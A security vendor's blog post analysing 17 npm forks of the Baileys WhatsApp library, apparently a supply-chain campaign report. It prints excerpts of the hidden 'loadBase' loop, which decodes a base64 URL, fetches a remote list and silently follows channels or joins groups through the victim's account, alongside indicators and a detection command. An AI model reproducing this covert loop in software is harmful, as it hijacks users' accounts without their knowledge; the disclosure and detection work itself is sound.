Back to all posts
High Research

PhantomSub's second loop:
17 npm packages hide a WhatsApp channel follow in a media file

CyberXYZ read every published version of 17 npm packages that carry loadBase, a loop tucked into a media-download file that makes your WhatsApp account follow the publisher's channels 80 seconds after it connects. 83 versions follow covertly, and CyberXYZ Check now blocks all of them. 12 of the packages appear in no earlier report, and none of the 17 had an OSV record on 6 November 2026. Amazon Inspector described the loop first, in one other package.

CyberXYZ Security Team Threat Intelligence
9 min read

This is a follow-up to our October report on 285 PhantomSub packages. PhantomSub forks of the Baileys WhatsApp library make the installer's own account follow WhatsApp channels the publisher chose. This post covers one form of it that our October count, and our own detector, did not see.

What CyberXYZ found

  • 17 packages, 83 covert versions. On 6 November 2026 we read all 93 published versions of the 17, statically. 51 versions carry the loadBase loop; 32 older versions of the same packages follow channels from newsletter.js instead. None of the 17 had an OSV record that day.
  • 12 packages that no earlier report named, with 65 covert versions. The other 5 were in our October list; the loop adds 8 versions to them.
  • Months older than its first description. The earliest loadBase version, @skycodee/baileys 8.0.5, was published on 28 February 2026. 50 of the 51 were on npm before the loop was first described, on 23 September 2026. The newest, @finzzcloud/baileys 1.0.0, appeared on 2 November.
  • The lists are still serving. 10 of the 21 list URLs returned channel IDs on 6 November. One returned 100 entries, labelled "Permanen" or with an expiry date. Two packages also join WhatsApp groups from a second list.
  • Our check command and detector missed it. The command in our October post does not see this loop (the new command does), and our detector caught it only after a fix merged on 5 November 2026.
  • CyberXYZ Check now blocks all 83. Our analysts confirmed every covert version on 7 November 2026, and Check returned block for all 83 on 9 November. The 12 new packages are reported to OpenSSF, credited to CyberXYZ, in pull request #1752.
If your WhatsApp bot is built on a Baileys fork

Search the fork for loadBase. The follow call in this loop reads q.FOLLOW, not QueryIds.FOLLOW, so a search for the usual follow call misses it. The command below finds both.

What CyberXYZ found

Everything in this section is CyberXYZ research, measured on 6 November 2026. We downloaded every published version of the 17 packages from the npm registry, confirmed npm's integrity hash, and read the code. Nothing was executed. For each version we checked the four things that make a follow covert, the same test as in October: the follow call, an automatic trigger, a target the publisher chose, and no notice to the user.

We compared the 17 names with every package named in the PhantomSub write-ups and with OSV. 12 appear nowhere. The other 5 (@danzxcode/danzx-bail, @elfhkry/baileys, @fyxzbail/baileys, @skycodee/baileys and @xyrozero/baileys-mod) were in our October list through a different follow in socket.js. For them the second loop is new, and so are 8 versions that have only this loop.

PackageCovert versionsWith loadBasePublishedTargets fromIn our October list
@alluffyofficial/baileys1 of 11Apr 2026ch-allufy (Vercel)no
@danzxcode/danzx-bail3 of 33Apr to Jun 2026ch-danzx, danzx-bail (Vercel)yes
@dyyxyzz/baileys-mod27 of 292Dec 2025 to Mar 2026hard-coded channels; skyzopedia/Screaper, DyyEuuee/Nani (GitHub)no
@dyyxyzz/baileys6 of 81Feb to Mar 2026DyyEuuee/Nani (GitHub); a hard-coded channelno
@elfhkry/baileys2 of 22May 2026Fhkryy/Fhkry (GitHub), channels and groupsyes
@finzzcloud/baileys1 of 21Nov 2026ch-finzzcloud (Vercel)no
@fyxzbail/baileys1 of 11Jul 2026Fyxzpediaa (GitHub)yes
@gadzzofficial/baileys1 of 11Apr 2026ch-gadzzxmod (Vercel)no
@koezoet21/baileys1 of 11Apr 2026ch-koezoet (Vercel)no
@lyyncode/lyyn-bail11 of 1111Mar to May 2026skyzopedia/Screaper (GitHub); ch-lyyncode, ch-rho (Vercel)no
@pratamamd/baileys2 of 22Mar 2026PratamaMD/SaluranIDs (GitHub)no
@rizzxdc/baileys1 of 11May 2026rizzxstorr-beep/Asep (GitHub), channels and groupsno
@robihostingid/baileys3 of 32Mar 2026skyzopedia/Screaper, robihosting/Screaper (GitHub)no
@skycodee/baileys11 of 1611Feb to Jul 2026skyzopedia/Screaper (GitHub)yes
@whatsappbot/baileys10 of 109Mar 2026whatsapp-bot-2026/Screaper, yazxzpedia/Screaper (GitHub); a hard-coded channelno
@xyrozero/baileys-mod1 of 11May 2026skyzopedia/Screaper (GitHub)yes
@yaszz/bail1 of 11Jun 2026Yaszz-17/Newsletter (GitHub)no
All 1783 of 9351Dec 2025 to Nov 20265 of 17

Covert versions out of all published versions, and when the covert ones were published, read 6 November 2026. "In our October list": named in our October post through its follow in socket.js. Downloads per package are in fig. 2.

Almost all of these versions were published months ago. 82 of the 83 were on npm before SafeDep's 10 August 2026 write-up on PhantomSub:

Dec 2025: 0 with loadBase, 2 older form2Dec2025Jan 2026: 0 with loadBase, 5 older form5Jan2026Feb 2026: 3 with loadBase, 22 older form25FebMar 2026: 27 with loadBase, 3 older form30MarApr 2026: 7 with loadBase, 0 older form7AprMay 2026: 9 with loadBase, 0 older form9MayJun 2026: 2 with loadBase, 0 older form2JunJul 2026: 2 with loadBase, 0 older form2JulAug 2026: 0 with loadBase, 0 older form0AugSep 2026: 0 with loadBase, 0 older form0SepOct 2026: 0 with loadBase, 0 older form0OctNov 2026: 1 with loadBase, 0 older form1Novloop first described (Amazon Inspector), 23 SepSafeDep's campaign write-up, 10 Aug
fig. 1 · the 83 covert versions of the 17 packages by the month npm published them. Orange: versions with the loadBase loop (51); grey: older versions of the same packages that follow from newsletter.js (32). 50 of the 51 loadBase versions were on npm before the loop was first described, on 23 September 2026. Source: npm registry publish times, read 6 November 2026.
Data table
MonthWith loadBaseOlder formTotal
2025-12022
2026-01055
2026-0232225
2026-0327330
2026-04707
2026-05909
2026-06202
2026-07202
2026-08000
2026-09000
2026-10000
2026-11101

How the loop works

Stock Baileys builds its socket in layers, and one layer, makeNewsletterSocket, runs every time your bot creates a socket. In these forks it calls one extra line: loadBase(newsletterWMexQuery, QueryIds). The function lives in lib/Utils/messages-media.js, among the helpers that download media from messages. Someone reviewing the socket code has no reason to open that file.

1
Your bot creates a socket

makeNewsletterSocket runs as part of the normal socket setup and calls loadBase, handing it the WhatsApp query helper and the table of query IDs.

2
It waits 80 seconds

By then the session has connected and logged in.

3
It decodes and fetches the list

The list URL is stored in base64. The list is JSON on GitHub or Vercel, and the publisher can change it at any time.

4
It follows every channel

Five seconds apart, it sends the FOLLOW query for each channel through your session. Errors are swallowed and nothing is logged.

This excerpt is from @lyyncode/lyyn-bail 9.0.8, the package's latest release. The string on line 352 decodes to hxxps://ch-rho[.]vercel[.]app/lyyn. Line 90 of lib/Socket/newsletter.js, inside makeNewsletterSocket, calls it: const newsletterQuery = loadBase(newsletterWMexQuery, QueryIds).

@lyyncode/lyyn-bail 9.0.8 · lib/Utils/messages-media.js, lines 348 to 367
348  export const loadBase = async (n, q) => {
349    try {
350      setTimeout(async () => {
351  
352        const encoded = "aHR0cHM6Ly9jaC1yaG8udmVyY2VsLmFwcC9seXlu";
353        const url = Buffer.from(encoded, "base64").toString("utf-8");
354  
355        const res = await fetch(url);
356        const newsletterIds = await res.json();
357  
358        for (const i of newsletterIds) {
359          await delay(5000);
360          try {
361            await n(i.id, q.FOLLOW);
362          } catch {}
363        }
364  
365      }, 80000);
366    } catch {}
367  };

Line 361 is the follow. n is the query helper and q the table of query IDs, so the call never spells out QueryIds.FOLLOW or the FOLLOW query ID. That is why searches for those strings, ours included, did not find it.

Variants in the code

Group joins as well as channels

@rizzxdc/baileys 8.0.10 and @elfhkry/baileys 8.0.11 and 8.0.12 receive one more function, groupAcceptInvite. After following the channels, they fetch a second base64-hidden list, of group invite codes, and accept each one, so the account also joins WhatsApp groups. In @rizzxdc/baileys the two strings decode to files in the rizzxstorr-beep/Asep repository on GitHub. Both URLs end in %20, an encoded space, and the channel list really is stored under that name: it served 3 channel IDs on 6 November.

@rizzxdc/baileys 8.0.10 · lib/Utils/messages-media.js, lines 348 and 367 to 380
348  export const loadBase = async (n, q, groupAcceptInvite) => {
367        try {
368          if (groupAcceptInvite) {
369            const encodedGc = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Jpenp4c3RvcnItYmVlcC9Bc2VwL3JlZnMvaGVhZHMvbWFpbi9ncm91cC5qc29uJTIw";
370            const urlGc = Buffer.from(encodedGc, "base64").toString("utf-8");
371  
372            const resGc = await fetch(urlGc);
373            const groupCodes = await resGc.json();
374  
375            for (const code of groupCodes) {
376              await delay(5000);
377              try {
378                await groupAcceptInvite(code);
379              } catch {}
380            }

Lines 349 to 366, not shown, are the channel loop from the first excerpt. Everything after line 386 is media code again, starting with downloadContentFromMessage.

An off switch nobody is told about

@finzzcloud/baileys 1.0.0, published on 2 November 2026, is the newest version of the loop. It follows once per logged-in account rather than once per process, and it stops if the environment variable BAILEYS_AUTO_FOLLOW is set to off. The default is on. The README does not mention the variable or the follow, and the list URL is still hidden in base64. We count it as covert: a switch the user is never told about does not make the follow disclosed, and hiding the targets never makes a follow acceptable.

@finzzcloud/baileys 1.0.0 · lib/Utils/messages-media.js, lines 348 to 352 and 359 to 362
348  export const loadBase = async (n, q, getId) => {
349    if (String(process.env.BAILEYS_AUTO_FOLLOW || "on").toLowerCase() === "off") return;
350    // sekali per AKUN (bukan per proses) -> bot utama & multi session masing-masing ikut follow
351    const done = (globalThis.__baileysAutoFollowDone ||= new Set());
352    const timer = setTimeout(async () => {
359        done.add(key);
360        const encoded = "aHR0cHM6Ly9jaC1maW56emNsb3VkLnZlcmNlbC5hcHAvbHl5bg";
361        const url = process.env.BAILEYS_CH_LIST_URL || Buffer.from(encoded, "base64").toString("utf-8");
362        const res = await fetch(url);

The Indonesian comment on line 350 reads "once per ACCOUNT (not per process): the main bot and each multi-session account all follow". The string on line 360 decodes to hxxps://ch-finzzcloud[.]vercel[.]app/lyyn, which served 7 channel IDs on 6 November.

One file, byte for byte, across five packages

In 20 of the 51 versions, lib/Utils/messages-media.js is the same file (sha256 657662b2…88939): @skycodee/baileys 8.0.5 to 8.0.15, @lyyncode/lyyn-bail 8.0.8 to 9.0.4, @robihostingid/baileys 8.0.8 and @xyrozero/baileys-mod 8.0.14. It is also the file in @rixxcodex/baileys 8.2.0 to 9.0.3, where Amazon Inspector first described the loop. All of them fetch the same list, skyzopedia/Screaper on GitHub. @skycodee/baileys shipped the file on 28 February 2026, seven months before @rixxcodex/baileys did, and its 8.0.12 source is published in the skyzopedia GitHub account, the account that hosts that list.

Smaller changes

The lists behind it

The loadBase loops and the older newsletter.js follows in these packages fetch 22 list URLs (not counting the socket.js follow of the five October packages). We requested the 21 that are plain JSON on GitHub or Vercel once, on 6 November 2026, and stored the answers as data. 10 served channel IDs. The other 11 returned 404, were disabled by Vercel, timed out, or served broken JSON. The 22nd is a GitHub web page rather than a raw file, so the fork that fetches it cannot read it.

ch-gadzzxmod (Vercel)100ch-allufy (Vercel)32skyzopedia/Screaper23ch-finzzcloud (Vercel)7DyyEuuee/Nani4ch-koezoet (Vercel)4rizzxstorr-beep/Asep3ch-rho (Vercel)1PratamaMD/SaluranIDs1Yaszz-17/Newsletter1
fig. 3 · entries in each of the 10 lists that served channel IDs on 6 November 2026. Orange: ch-gadzzxmod, where 85 of the 100 entries are labelled "Permanen" and 15 carry an expiry date. Not shown: the 11 lists that returned 404, were disabled, timed out or served broken JSON. Source: one request per list, 6 November 2026, stored as data.
Data table
ListEntries
ch-gadzzxmod (Vercel)100
ch-allufy (Vercel)32
skyzopedia/Screaper23
ch-finzzcloud (Vercel)7
DyyEuuee/Nani4
ch-koezoet (Vercel)4
rizzxstorr-beep/Asep3
ch-rho (Vercel)1
PratamaMD/SaluranIDs1
Yaszz-17/Newsletter1

The entries carry labels. In the largest list, ch-gadzzxmod[.]vercel[.]app/lyyn, 85 of the 100 entries say "Permanen" (Indonesian for permanent) and 15 say "Exp 20 mei" or "Exp 5 Mei", an expiry date. The skyzopedia/Screaper list labels 21 of its 23 entries "Lifetime". The labels suggest that places on these lists are sold, either for good or until a date. Every bot that runs one of these forks then delivers a follower to each channel on the list.

TypeURLFetched by6 Nov 2026
Channel listhxxps://ch-allufy[.]vercel[.]app/lyyn@alluffyofficial/baileys32 channel IDs
Channel listhxxps://ch-danzx[.]vercel[.]app/lyyn@danzxcode/danzx-baildisabled by Vercel (402)
Channel listhxxps://danzx-bail[.]vercel[.]app/lyyn@danzxcode/danzx-bailno response (timed out)
Channel listhxxps://raw[.]githubusercontent[.]com/DyyEuuee/Nani/refs/heads/main/codes/bailwa.json@dyyxyzz/baileys, @dyyxyzz/baileys-mod4 channel IDs
Channel listhxxps://raw[.]githubusercontent[.]com/Fhkryy/Fhkry/refs/heads/main/ell.json@elfhkry/baileys404
Group inviteshxxps://raw[.]githubusercontent[.]com/Fhkryy/Fhkry/refs/heads/main/GROUP.json@elfhkry/baileys404
Channel listhxxps://ch-finzzcloud[.]vercel[.]app/lyyn@finzzcloud/baileys7 channel IDs
Channel listhxxps://raw[.]githubusercontent[.]com/Fyxzpediaa/Script-Script-Function-Bot-Apikey-Superiosjakaoqobxzobqshgttr/main/image-tohitam.json@fyxzbail/baileys404
Channel listhxxps://ch-gadzzxmod[.]vercel[.]app/lyyn@gadzzofficial/baileys100 entries (129 channel IDs)
Channel listhxxps://ch-koezoet[.]vercel[.]app/lyyn@koezoet21/baileys4 entries (13 channel IDs)
Channel listhxxps://raw[.]githubusercontent[.]com/skyzopedia/Screaper/refs/heads/main/idChannel.json@skycodee/baileys, @lyyncode/lyyn-bail, @robihostingid/baileys, @xyrozero/baileys-mod, @dyyxyzz/baileys-mod23 channel IDs
Channel listhxxps://ch-lyyncode[.]vercel[.]app/lyyn@lyyncode/lyyn-baildisabled by Vercel (402)
Channel listhxxps://ch-rho[.]vercel[.]app/lyyn@lyyncode/lyyn-bail1 channel ID
Channel listhxxps://raw[.]githubusercontent[.]com/PratamaMD/SaluranIDs/refs/heads/main/IDs.json@pratamamd/baileys1 channel ID
Channel listhxxps://raw[.]githubusercontent[.]com/rizzxstorr-beep/Asep/refs/heads/main/idchanel.json%20@rizzxdc/baileys3 channel IDs
Group inviteshxxps://raw[.]githubusercontent[.]com/rizzxstorr-beep/Asep/refs/heads/main/group.json%20@rizzxdc/baileys404
Channel listhxxps://raw[.]githubusercontent[.]com/robihosting/Screaper/refs/heads/main/idChannel.json@robihostingid/baileysserved broken JSON (1 entry, trailing comma)
Channel listhxxps://raw[.]githubusercontent[.]com/whatsapp-bot-2026/Screaper/refs/heads/main/idChannel.json@whatsappbot/baileys404
Channel listhxxps://raw[.]githubusercontent[.]com/whatsapp-bot-2026/Screaper/main/idChannel.json@whatsappbot/baileys404
Channel listhxxps://raw[.]githubusercontent[.]com/yazxzpedia/Screaper/refs/heads/main/idChannel.json@whatsappbot/baileys404
Channel listhxxps://raw[.]githubusercontent[.]com/Yaszz-17/Newsletter/main/id.json@yaszz/bail1 channel ID
Channel listhxxps://github[.]com/DyyEuuee/Nani/blob/main/codes/bailwa.json@dyyxyzz/baileys, @dyyxyzz/baileys-moda GitHub web page, not raw JSON; not requested

Who installs them

npm counted 11,052 downloads of the 17 packages from 7 October to 5 November 2026. On deps.dev, no npm package depends on the latest version of any of the 14 packages it indexes, so these reach people who install them directly, mostly to build WhatsApp bots.

@skycodee/baileys2,370@lyyncode/lyyn-bail2,195@dyyxyzz/baileys1,615@whatsappbot/baileys775@dyyxyzz/baileys-mod731@danzxcode/danzx-bail684@pratamamd/baileys453@robihostingid/baileys438@finzzcloud/baileys345@gadzzofficial/baileys238@fyxzbail/baileys234@xyrozero/baileys-mod225@koezoet21/baileys212@alluffyofficial/baileys211@yaszz/bail206@elfhkry/baileys105@rizzxdc/baileys15
fig. 2 · npm downloads of each of the 17 packages from 7 October to 5 November 2026; 11,052 in all. Orange: @skycodee/baileys, which shipped the first loadBase version on 28 February 2026. Source: npm download counts, read 6 November 2026.
Data table
PackageDownloads, 30 days
@skycodee/baileys2,370
@lyyncode/lyyn-bail2,195
@dyyxyzz/baileys1,615
@whatsappbot/baileys775
@dyyxyzz/baileys-mod731
@danzxcode/danzx-bail684
@pratamamd/baileys453
@robihostingid/baileys438
@finzzcloud/baileys345
@gadzzofficial/baileys238
@fyxzbail/baileys234
@xyrozero/baileys-mod225
@koezoet21/baileys212
@alluffyofficial/baileys211
@yaszz/bail206
@elfhkry/baileys105
@rizzxdc/baileys15

What is ours, and who described the loop first

The 17 packages, the reading of all 93 versions, the lists and their state, and the reports to OpenSSF credited to CyberXYZ are ours. No report from anyone else names any of the 17 (5 were in our own October list), and none of them had an OSV record or a GitHub malware advisory on 6 November 2026. Aikido's automated package feed labels some versions of six of them as malware, with no description of what the code does.

Amazon Inspector reported the campaign first, in single-package OSV records from 26 May 2026 (among them MAL-2026-4803), and described loadBase first, in its OSV report for @rixxcodex/baileys (MAL-2026-16483) on 23 September 2026. SafeDep published the first campaign write-up on 10 August 2026, Xygeni followed on 18 September, and OX Security named it PhantomSub on 28 September, showing the same hidden list URL in @rixxcodex/baileys.

How to check your project

This loop finds every Baileys fork in node_modules (any package that ships lib/Socket/newsletter.js and is not @whiskeysockets/baileys) and searches its lib/ for the follow in all its forms, loadBase included. It reads each package's real name, so a fork installed under an alias is still caught.

in your project folder: lists each Baileys fork and its follow calls
find node_modules -path '*/lib/Socket/newsletter.js' | while read -r f; do
  d="${f%/lib/Socket/newsletter.js}"
  name=$(node -p "require('./$d/package.json').name")
  [ "$name" = "@whiskeysockets/baileys" ] && continue
  echo "== $name ($d)"
  grep -rn --include='*.js' -E 'loadBase|7871414976211147|24404358912487870|\.FOLLOW\b|newsletterFollow\(' "$d/lib" | cut -c1-160
done

No output means no fork. Two kinds of hit are normal: the FOLLOW entry in the query-ID table under lib/Types, and the follow inside the newsletterFollow function, which is the call your own code makes. Any loadBase hit, and any FOLLOW inside a timer or a connection.update listener, is the sign to look for.

We tested it on 6 November 2026, in bash and zsh, on a project holding the official @whiskeysockets/baileys 7.0.0-rc14 and copies of three forks from this post, two of them in folders with other names, as an alias install puts them. It skipped the official package, printed the loadBase definition, its call and the q.FOLLOW line in the two loadBase forks, and printed the timer follows in the third. The command from our October post, run on the same project, printed none of the loadBase lines.

What CyberXYZ does about it

Our detector missed this loop until 5 November 2026. It recognised a follow only when the code named newsletterFollow, QueryIds.FOLLOW or the FOLLOW query ID, and loadBase receives the query table as a parameter instead. The fix, merged on 5 November, treats a FOLLOW ID handed to a helper as a follow, with the same tests as before: an automatic trigger, a target the publisher chose, no notice. We measured it on 7,335 Baileys-family versions before merging. It flagged 13 more versions and lost no earlier finding. It still flags none of the 116 official Baileys releases and none of the 31 feature forks we use as a false-positive check.

CyberXYZ Check blocks all 83 covert versions. Under the standard policy, CyberXYZ blocks known malware: a version with an OSV malicious-package record, or one our analysts have confirmed. On 6 November 2026 none of the 83 had either, so the install decision for all of them was allow. Our analysts confirmed all 83 from the static read on 7 November, and on 9 November 2026 CyberXYZ Check returned block for every one ("known malicious release"). OSV still had no record for any of the 17 packages that day, so the block rests on our own confirmation.

From 9 November 2026, automatic detections raise an alert on the standard policy. Until then, the install decision under that policy was allow for a version our detector flagged but no analyst had confirmed, although its package report showed the alert. It is now alert, so it is flagged before an analyst reviews it; confirmed malware still blocks. For example, @kyuu2nd/baileys 2.0.25, which our detector flags for an unasked channel follow in lib/Socket/newsletter.js, returned alert ("automated detection") on 9 November 2026.

Reported to OpenSSF, credited to CyberXYZ: the 12 new packages (65 versions) in pull request #1752, filed on 7 November 2026, and the loop plus the 8 new versions added to the 5 packages in our earlier pull request #1674. Both were still open on 9 November 2026; OSV assigns IDs when a report merges.

Supply-chain risk analysis

Mapped to MITRE ATT&CK:

Initial AccessT1195.002Compromise Software Supply Chain
Defense EvasionT1027Obfuscated Files or Information (base64 list URLs)
Command and ControlT1102Web Service (target lists on GitHub and Vercel)
CyberXYZ research

The 17 packages carrying loadBase, the 12 that no earlier report named, the reading of all 93 versions, the 21 lists and their state on 6 November 2026, and the reports to OpenSSF (#1752 and #1674) are CyberXYZ findings. CyberXYZ Check blocks all 83 covert versions (9 November 2026).

Amazon Inspector reported the campaign first, in OSV records from May 2026, and described the loop first, in @rixxcodex/baileys; SafeDep's 10 August write-up, Xygeni and OX Security, which named it PhantomSub, followed.

Appendix A: every covert version

All versions were read on 6 November 2026, and CyberXYZ Check returned block for every covert version on 9 November 2026. Each package links to its CyberXYZ package report. The 12 new packages are in OpenSSF pull request #1752; the other 5 are in #1674.

PackageCovert versionsOf which with loadBaseNot counted
@alluffyofficial/baileys8.0.88.0.8
@danzxcode/danzx-bail9.0.5 to 9.0.79.0.5 to 9.0.7
@dyyxyzz/baileys-mod6.0.24, 6.0.26 to 6.0.28, 6.0.32 to 6.0.34, 6.0.36, 6.0.37, 6.0.40 to 6.0.46, 6.0.48 to 6.0.54, 7.0.5 to 7.0.87.0.7, 7.0.86.0.25, 7.0.4 (does not parse)
@dyyxyzz/baileys1.0.6 to 1.0.8, 1.1.9 to 1.1.111.1.111.0.3, 1.0.4 (does not parse)
@elfhkry/baileys8.0.11, 8.0.128.0.11, 8.0.12
@finzzcloud/baileys1.0.01.0.00.0.0-stage (placeholder)
@fyxzbail/baileys8.0.148.0.14
@gadzzofficial/baileys9.0.79.0.7
@koezoet21/baileys8.0.88.0.8
@lyyncode/lyyn-bail8.0.8, 8.0.9, 9.0.0 to 9.0.88.0.8, 8.0.9, 9.0.0 to 9.0.8
@pratamamd/baileys1.0.1, 2.0.01.0.1, 2.0.0
@rizzxdc/baileys8.0.108.0.10
@robihostingid/baileys8.0.8, 8.0.9, 9.0.08.0.8, 9.0.0
@skycodee/baileys8.0.5 to 8.0.158.0.5 to 8.0.158.0.0 to 8.0.4 (no lib/ folder)
@whatsappbot/baileys1.0.0 to 1.0.4, 2.0.0, 5.0.0, 5.0.1, 6.0.0, 6.0.11.0.0 to 1.0.4, 5.0.0, 5.0.1, 6.0.0, 6.0.1
@xyrozero/baileys-mod8.0.148.0.14
@yaszz/bail1.0.01.0.0

Appendix B: indicators

Hosts are defanged. Package names, file paths, hashes and channel IDs stay plain so you can search for them.

Protocol and code

TypeIndicatorContext
FunctionloadBaseexported from lib/Utils/messages-media.js, called from makeNewsletterSocket in lib/Socket/newsletter.js
Calln(i.id, q.FOLLOW)the follow, 80 seconds after socket creation, 5 seconds between channels
CallgroupAcceptInvite(code)group joins in @rizzxdc/baileys and @elfhkry/baileys
SettingBAILEYS_AUTO_FOLLOWundocumented off switch in @finzzcloud/baileys 1.0.0 (default on)

File hashes (sha256)

Filesha256Versions
lib/Utils/messages-media.js523d10296ed542ddb12a49c93d990b973f58c9bb716fc15547c7c6c37e81065b@alluffyofficial/baileys 8.0.8
lib/Utils/messages-media.jsb41905238c3feaad4f8eae25b8cd7acea4ae94ec0916e404d9baadc2a49575fd@danzxcode/danzx-bail 9.0.5, 9.0.6
lib/Utils/messages-media.jscc4da072e185d0312ea0fb7ea0d08edbde8645b6a0218759dca8ab011a85ad59@danzxcode/danzx-bail 9.0.7
lib/Socket/newsletter.js463aacffe1a88ba06c13a41480406dc3727a926ea4bcbdccc34ef62d814be214@dyyxyzz/baileys-mod 6.0.24
lib/Socket/newsletter.js713e645eb8c67e99ea4cf33bcb76a4cfcefea6d578e319e2136c26d8024e3af8@dyyxyzz/baileys-mod 6.0.26
lib/Socket/newsletter.js9fa1e152f5c3e79ba124c01dacce68e92cb7cc73d1095965794059e225092f0b@dyyxyzz/baileys-mod 6.0.27
lib/Socket/newsletter.js6f7d318d07dc834bb7da04905aa919f43ec554e8830c66f59e092994a7c9e088@dyyxyzz/baileys-mod 6.0.28, 6.0.32, 6.0.33
lib/Socket/newsletter.jsdc59b3e3bd172b777e587ccb94762ff750dbb281d4241e3b6acd75edfea4cfe7@dyyxyzz/baileys-mod 6.0.34, 6.0.36, 6.0.37, 6.0.40 to 6.0.46, 6.0.48 to 6.0.54
lib/Socket/newsletter.jsc04aa44aee3441eb6a1d35b8dbb6ebac128461b346274a76cb8546258d8653da@dyyxyzz/baileys-mod 7.0.5, 7.0.6; @dyyxyzz/baileys 1.0.6 to 1.0.8, 1.1.9, 1.1.10
lib/Utils/messages-media.js1c38d186f020e01b3332b614be5ef3718b9c88789f2ada7bfe88ffa1a090e610@dyyxyzz/baileys-mod 7.0.7, 7.0.8; @dyyxyzz/baileys 1.1.11
lib/Utils/messages-media.js486a040f10373d4c2b365eb8c997ec295fef3878c01b6013be1f69b0536b371c@elfhkry/baileys 8.0.11, 8.0.12
lib/Utils/messages-media.js1055f06f9caa22a38a464b30f37b23eedc6735d74b70e997ef6210b7ffd3df4f@finzzcloud/baileys 1.0.0
lib/Utils/messages-media.js366e7591c350cb61bbd7ae4ff99bc2eeae4a62346debc49e8577aee1bf2b6c4c@fyxzbail/baileys 8.0.14
lib/Utils/messages-media.js067558d9b151ffefe350a3e85446981abd99103ce2d581ec0eae623cb726a0cb@gadzzofficial/baileys 9.0.7
lib/Utils/messages-media.js4f10d01fb6f281524eb40a042d28d32f0880a61010c1fb18c801ee322163b655@koezoet21/baileys 8.0.8
lib/Utils/messages-media.js657662b2ae2e8cc1808715d8219d4e7ca7182f6eacda8d79b1cee4b721c88939@lyyncode/lyyn-bail 8.0.8, 8.0.9, 9.0.0 to 9.0.4; @robihostingid/baileys 8.0.8; @skycodee/baileys 8.0.5 to 8.0.15; @xyrozero/baileys-mod 8.0.14
lib/Utils/messages-media.js810d8f9f6b369ba64a3760beea0c0ccfd449399da2d8aedb458d7ce168394963@lyyncode/lyyn-bail 9.0.5
lib/Utils/messages-media.js20563d8117ea37b0df09bc579be38b153000c881022e62536b30b081a41712a4@lyyncode/lyyn-bail 9.0.6 to 9.0.8
lib/Utils/messages-media.js1a8ca088ddf8347271ac34d933946288c1d32c59f03c28ef1bed7440d98f5089@pratamamd/baileys 1.0.1, 2.0.0
lib/Utils/messages-media.js79871975d41504fc0f9488240bee7b25244407844b4e980b599d4f46a94bbefd@rizzxdc/baileys 8.0.10
lib/Socket/newsletter.jsf8762cc88d6e58b9347eef75e5c0a8216a783cd47ec90001f13a93a40600bea9@robihostingid/baileys 8.0.9
lib/Utils/messages-media.js3616c81fe6b723a3951ff05672859ac73853507e3ec717dd151e1dc1e4db37c5@robihostingid/baileys 9.0.0
lib/Utils/messages-media.jsf258858fddcf8192b20eaa1e18f77f88c3459ba9c282d28eb7462b60beeb6bd1@whatsappbot/baileys 1.0.0 to 1.0.4
lib/Socket/newsletter.js009bca3d6c3d1fc730865dd4f7835519ae140647c620e014af65982d9ab2dca8@whatsappbot/baileys 1.0.4
lib/Socket/newsletter.js2acec6ddbd0cac6ebb1529f998f6a8c06b89ae9df205df53451cd1abefaac783@whatsappbot/baileys 2.0.0
lib/Utils/messages-media.jsfc0a1e064bfac5944650c26d33720c5ee77b553c8e4bc35e5e2b1096ee639cc1@whatsappbot/baileys 5.0.0, 5.0.1, 6.0.0, 6.0.1
lib/Utils/messages-media.js9f9ac07af807b27673470af9f124782bfaa2df802905aa3ce9eb91d680217571@yaszz/bail 1.0.0

Channels hard-coded in the code

TypeIndicatorFollowed by
Channel120363426611097080@newsletter@dyyxyzz/baileys-mod 6.0.24
Channel120363421351741485@newsletter@dyyxyzz/baileys-mod 6.0.24
Channel120363421366320253@newsletter@dyyxyzz/baileys-mod 6.0.24
Channel120363400297473298@newsletter@dyyxyzz/baileys-mod 6.0.24
Channel120363404446053939@newsletter@dyyxyzz/baileys-mod 6.0.24
Channel120363419967954188@newsletter@dyyxyzz/baileys-mod 6.0.24
Channel120363402019414675@newsletter@dyyxyzz/baileys-mod 6.0.24
Channel120363420456838680@newsletter@dyyxyzz/baileys-mod 6.0.24
Channel120363423932430861@newsletter@dyyxyzz/baileys-mod 6.0.24
Channel120363311609903865@newsletter@dyyxyzz/baileys-mod 6.0.24
Channel120363421453223000@newsletter@dyyxyzz/baileys-mod 6.0.24
Channel120363421160571057@newsletter@dyyxyzz/baileys-mod 6.0.26, 6.0.28, 6.0.32, 6.0.33
Channel120363384627502211@newsletter@dyyxyzz/baileys-mod 6.0.26, 6.0.28, 6.0.32 to 6.0.34, 6.0.36, 6.0.37, 6.0.40 to 6.0.46, 6.0.48 to 6.0.54, 7.0.5, 7.0.6; @dyyxyzz/baileys 1.0.6 to 1.0.8, 1.1.9, 1.1.10
Channel120363419868857431@newsletter@whatsappbot/baileys 2.0.0

References

  1. CyberXYZ, static read of all 93 published versions of the 17 packages from the npm registry, npm download counts and the 21 channel lists, 6 Nov 2026; CyberXYZ Check verdicts for the 83 covert versions, 9 Nov 2026
  2. CyberXYZ, 285 PhantomSub packages on npm not in any earlier report (30 Oct 2026)
  3. CyberXYZ, ossf/malicious-packages pull request #1752, the 12 new loadBase packages (65 versions) credited to CyberXYZ (filed 7 Nov 2026; open on 9 Nov 2026)
  4. CyberXYZ, ossf/malicious-packages pull request #1674, 257 PhantomSub packages credited to CyberXYZ, the 5 October packages among them (filed 27 Oct 2026; open on 9 Nov 2026)
  5. OSV, MAL-2026-4803: Malicious code in @fhkry/baileys (npm), Amazon Inspector (26 May 2026)
  6. SafeDep, Baileys npm forks farm WhatsApp Channel followers, Kunal Singh (10 Aug 2026)
  7. Xygeni, Malicious npm Package in Baileys Fork (Skyzopedia Case), Fátima Said (18 Sep 2026)
  8. OSV, MAL-2026-16483: Malicious code in @rixxcodex/baileys (npm), Amazon Inspector (23 Sep 2026)
  9. OX Security, PhantomSub: Malicious npm Campaign Secretly Adds Users to WhatsApp Spam Channels, Nir Zadok, Moshe Siman Tov Bustan and Vitalii Chepurko (28 Sep 2026)
  10. OSV, MAL-2026-17342: Malicious code in @bellaxchuu/belbails (npm), credits Amazon Inspector and OX Security (8 Oct 2026)
  11. MITRE ATT&CK, T1195.002 Compromise Software Supply Chain
👋
// book a demo

Want to see it block a real attack?

Book 15 minutes. We run real packages through CyberXYZ while you watch, axios 1.14.1 among them, then connect one laptop or one pipeline for a 30-day proof of value.